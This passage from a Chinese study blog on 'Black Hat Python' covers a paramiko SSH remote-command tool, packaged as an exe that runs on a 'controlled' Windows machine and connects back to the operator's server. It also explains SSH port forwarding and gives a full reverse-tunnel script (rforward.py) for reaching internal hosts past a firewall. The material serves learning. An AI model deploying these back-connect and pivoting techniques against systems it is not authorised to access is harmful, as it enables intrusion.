    print("[-] Caught exception: " + str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(0)

关于ssh服务端的代码,书中并没有描述的很清楚。这里补充下:

先弄清楚几个名词:

  • SSHClient:包装了Channel、Transport、SFTPClient
  • Channel: 是一种类socket,一种安全的传输通道
  • Transport: 是一种加密的会话(但这样一个对象的session并未建立),并且创建了一个加密的tunnels,这个tunnels叫做Channel
  • Session: 是client和server保持连接的对象,用connect()/client_start()/server_start()开始会话

实现ssh服务端,必须继承paramiko.ServerInterface,并实现其中的方法
在实例化Server类时,自动执行__init__方法,首先会触发Event。然后进入到认证阶段,等到认证通过后client会打开一个Channel。

关于使用的密钥,这里是通过如下命令,临时生成的

openssl genrsa -out rsa_private_key.pem 1024

Python threading模块提供Event对象用于线程间通信,用于主线程控制其他线程的执行。

为了模拟更真实的使用场景效果,简单修改了客户端代码并使用pyinstaller来打包为exe

pip3 install pyinstaller

然后需要将bh_sshRcmd.py文件,打包成exe(注意:需要在Windows下才能打包为exe`)

pyinstaller -F bh_sshRcmd.py

之后会在dist目录中生成exe文件,可以直接放至被控windows运行

最终效果

被控的Windows客户端主动连接ssh服务器

55951639.png

服务端输入指定,获取结果

55928712.png

注意:若目录出现乱码,要修改编码方式为GB2312

0x04 SSH隧道

SSH能够将其它TCP端口的网络数据通过SSH连接来转发,
使用SSH隧道与传统的将命令直接发送给服务端不同,运用隧道会将网络流量包在SSH中封装后发送,并在服务端解开并执行。
一般分为本地转发和远程转发

正向隧道

该拓扑图中,由于防火墙的限制:

  • 主机A 可以访问主机B的ssh服务
  • 主机A 无法直接访问 主机C
  • 主机B 可以访问 主机C,如ftp服务

72134736.png

这样的情况下,可以建立一条正向的SSH隧道,即 主机A作为ssh-client 主动连接 作为ssh-server的主机B,然后在本地系统(主机A)上面监听端口建立转发。可以通过在A上执行ssh命令来完成,执行成功后访问主机A的2121端口,便可以访问主机C的FTP服务

ssh -L 2121:主机C-ip:21 user@主机B-ip

上面这种也称作本地端口转发

反向隧道

上面例子的前提是,主机B存在SSH服务。但Windows系统往往都不具备SSH服务,这种情况下如何建立隧道呢?
其实只需要改变隧道的建立方向,便可完成。即把被控端 主机B 作为客户端,主机A作为ssh服务端,拓扑图如下

72407001.png

从windows客户端连接自己的SSH服务器,通过这个SSH连接,我们同时在SSH服务端监听一个端口,这个端口将数据通过SSH隧道发送到目标网络中的主机和端口上。也可以直接在主机B上通过ssh命令来执行

ssh -R 2121:主机C-ip:21 user@主机A-ip

这样,主机B利用ssh 远程让主机A监听了2121端口,并将流量转发给主机C的21端口上,实现了通信。

rforward.py

熟悉了原理,就继续来看代码。
Paramiko的实例文件包含一个名为rforward.py的文件。这个文件就具备上述的远程转发功能。
改写为Python3版:


#!/usr/bin/env python3
# -*- code:utf-8 -*-

import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000
HELP = """
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""
g_verbose = True #默认打印自定义信息


"""
获取hosrtname 和 port
"""
def get_host_port(spec,default_port):
    "parse 'hostname:22' into a host and port,with the port optional"
    args = (spec.split(':',1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0],args[1]

"""
打印执行中的自定义信息
"""
def verbose(msg):
    if g_verbose:
        print(msg)

"""
定义接收的参数,以及用法
"""
def parse_options():
    global g_verbose
    parser = OptionParser(
        usage="usage: %prog [options] <ssh-server>[:<server-port>]",
        version="%prog 1.0",
        description=HELP,
    )

    parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True,
                help="squelch all informational output",)
    parser.add_option("-p","--remote-port",action="store",type="int",dest="port",default=DEFAULT_PORT,
                help="port on server to forward(default: %d)" % DEFAULT_PORT,)
    parser.add_option("-u","--user",action="store",type="string",dest="user",default=getpass.getuser(),
                help="username for SSH authentication (default: %s)" % getpass.getuser(),)
    parser.add_option("-K","--key",action="store",type="string",dest="keyfile",default=None,
                help="private key file to use for SSH authentication",)
    parser.add_option("","--no-key",action="store_false",dest="look_for_keys",default=True,
                help="don't look for or use private key file",)
    parser.add_option("-P","--password",action="store_true",dest="readpass",default=False,
                help="read password (for key or password auth) from stdin",)
    parser.add_option("-r","--remote",action="store",type="string",dest="remote",default=None,metavar="host:port",
                help="remote host and port to forward to",)
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error("Incorrect number of arguments.")
    if options.remote is None:
        parser.error("Remote address required (-r).")
    
    #
    g_verbose = options.verbose
    server_host,server_port = get_host_port(args[0],SSH_PORT)
    remote_host,remote_port = get_host_port(options.remote,SSH_PORT)

    return options,(server_host,server_port),(remote_host,remote_port)


"""
数据转发过程
"""

def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))
        return

    verbose(
        "Connected! Tunnel open %r -> %r -> %r"
        % (chan.origin_addr, chan.getpeername(), (host, port))
    )
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close() 
    sock.close()
    verbose("Tunnel closed from %r " % (chan.origin_addr,))



"""
建立反向隧道
"""
def reverse_forward_tunnel(server_port,remote_host,remote_port,transport):
    transport.request_port_forward('',server_port)
    while True:
        chan = transport.accept(1000)
        if chan is None:
            continue
        thr = threading.Thread(target=handler,args=(chan,remote_host,remote_port))
        #设置该线程为守护线程,表示该线程是不重要的,进程退出时不需要等待这个线程执行完成。
        #用来避免子线程无限死循环,导致退不出程序的情况
        thr.setDaemon(True)
        thr.start()
    pass


def main():
    options,server,remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass("Enter SSH password:")
    
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose("Connecting to ssh host %s:%d ..." % (server[0],server[1]))
    try:
        client.connect(
            server[0],
            server[1],
            username=options.user,
            key_filename=options.keyfile,
            look_for_keys=options.look_for_keys,
            password=password,
        )
    except Exception as e:
        print("*** Failed to connect to %s:%d: %r" %(server[0],server[1],e))
        sys.exit(1)
    
    verbose("Now forwarding remote port %d to %s:%d ..." % (options.port,remote[0],remote[1]))

    try:
        reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
    except KeyboardInterrupt:
        print("C-c:Port forwarding stopped.")
        sys.exit(0)


if __name__ == "__main__":
    main()

下面测试下效果,先看下网络环境:

  • Mac 可以连接公网linux的SSH
  • Mac 和 虚拟机Win7,可以互相访问。虚拟机为网络为 host-only模式
  • Mac 连接wifi,处于局域网环境

实现如下效果

在Mac下运行脚本

rforward.py 外网ssh服务器 -u root -r 10.37.129.3:80 -p 8888 --password 

输入密码后,成功连接SSH服务器,并建立转发。并在远程VPS上,利用curl 访问内网中host-only模式的虚拟机Win7

73271803.png

在Mac下查看打印结果,成功利用反向ssh隧道进行了转发

73246694.png

0x05 后记

在学习过程中发现自己的网络基础还很薄弱,后续会着重弥补。

0x06 参考资料

《Python Paramiko模块的使用实际案例》
《Python 黑帽子》学习笔记
《关于黑帽子中hexdump函数在python3之后的修改》
《实战SSH端口转发》